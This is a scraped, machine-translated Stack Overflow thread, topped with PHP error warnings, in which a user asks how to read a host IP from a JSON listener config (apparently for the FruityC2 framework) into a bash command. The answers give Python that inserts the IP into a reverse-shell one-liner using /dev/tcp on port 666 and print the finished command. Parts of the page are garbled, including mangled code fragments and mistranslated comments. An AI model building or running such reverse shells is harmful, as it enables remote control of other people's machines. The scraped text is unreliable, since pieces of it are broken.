Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/ssh/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
需要从JSON文件中读取一个变量,作为脚本另一部分中的变量输入_Json_Bash_Python 2.7 - Fatal编程技术网

需要从JSON文件中读取一个变量,作为脚本另一部分中的变量输入

需要从JSON文件中读取一个变量,作为脚本另一部分中的变量输入,json,bash,python-2.7,Json,Bash,Python 2.7,我在使用python 2.7时遇到问题。我有以下JSON文件,我试图仅从中提取主机变量: { "443": { "ssl": true, "host": "192.168.1.8", "cert": "v3ga.pem", "name": "Test", "open": false } } 在我的脚本中,我有一个只想输入“主机”IP作为192.168.1.8的项目 我尝试使用以下代码段来提取所有变量

我在使用python 2.7时遇到问题。我有以下JSON文件,我试图仅从中提取主机变量:

{
    "443": {
        "ssl": true,
        "host": "192.168.1.8",
        "cert": "v3ga.pem",
        "name": "Test",
        "open": false
    }
}
在我的脚本中,我有一个只想输入“主机”IP作为192.168.1.8的项目

我尝试使用以下代码段来提取所有变量:

import json
from pprint import pprint
data = json.load(open('config/listener.json'))
pprint(data)
返回:

{
    "u'443'": {
        "u'cert'": "u'fruityc2.pem'",
        "u'host'": "u'192.168.1.8'",
        "u'name'": "u'Test'",
        "u'open'": false,
        "u'ssl'": true
    }
}

如何将其插入('0&196'),以便在我尝试创建的框架中适当打印?

此问题与本文非常相似:

因此,您可能只需通过以下方式访问它:

data["443"]["host"]
如果此“('0&196')”是字符串…,则:

"('0<&196;exec 196<>/dev/tcp/" + data["443"]["host"] + "/666; sh <&196 >&196 2>&196')"
('0&196')”
我希望这能有所帮助。

所以假设我收到了你的问题(你的问题写得很模糊)。。。您正试图以给定的哈希字符串获取与存储在字典中的键“主机”关联的值“192.168.1.8”。请尝试以下代码->

import json
from pprint import pprint   
data = json.load(open('config/listener.json'))
host = data['443']['host']
hash_string = ('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host))
print hash_string
导入json
从pprint导入pprint
data=json.load(打开('config/listener.json'))
主机=数据['443']['host']
哈希_字符串=('0&196'(主机))
打印哈希字符串
输出将为->

0<&196;exec 196<>/dev/tcp/192.168.1.8/666; sh <&196 >&196 2>&196
0&196
这里,在hash_string变量中,散列值存储为“字符串”,而不是元组。我想你是有意的,如果不是。。。然后只需在末尾添加一个逗号,如下->

hash_string=('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host),)
hash_string=('0&196'(主机),)

我希望这有帮助!我希望我正确回答了你的问题,如果没有,请尝试更详细地解释问题,我将编辑我的答案:)

什么是
('0&196')
?这不是我熟悉的一种语言,它只是一种直截了当的抨击。我想做的是在调用
JSON.load
之后,将JSON文件中的IP地址插入bash one行中的主机变量。结果(存储在
data
)将包含一个具有JSON文件中定义的所有属性的对象。因此,如果您只对主机值感兴趣,那么可以像这样调用它
data.host
。我猜用
pprint(data.host)
替换
pprint(data.host)
应该足够了吧?接收文件“jsonload.py”,在pprint(data.host)AttributeError的第6行:“dict”对象没有属性“host”我的坏。。。请尝试
data[“443”][“host”]
确保对您有帮助的答案进行投票!这是表示感激的一种方式!:)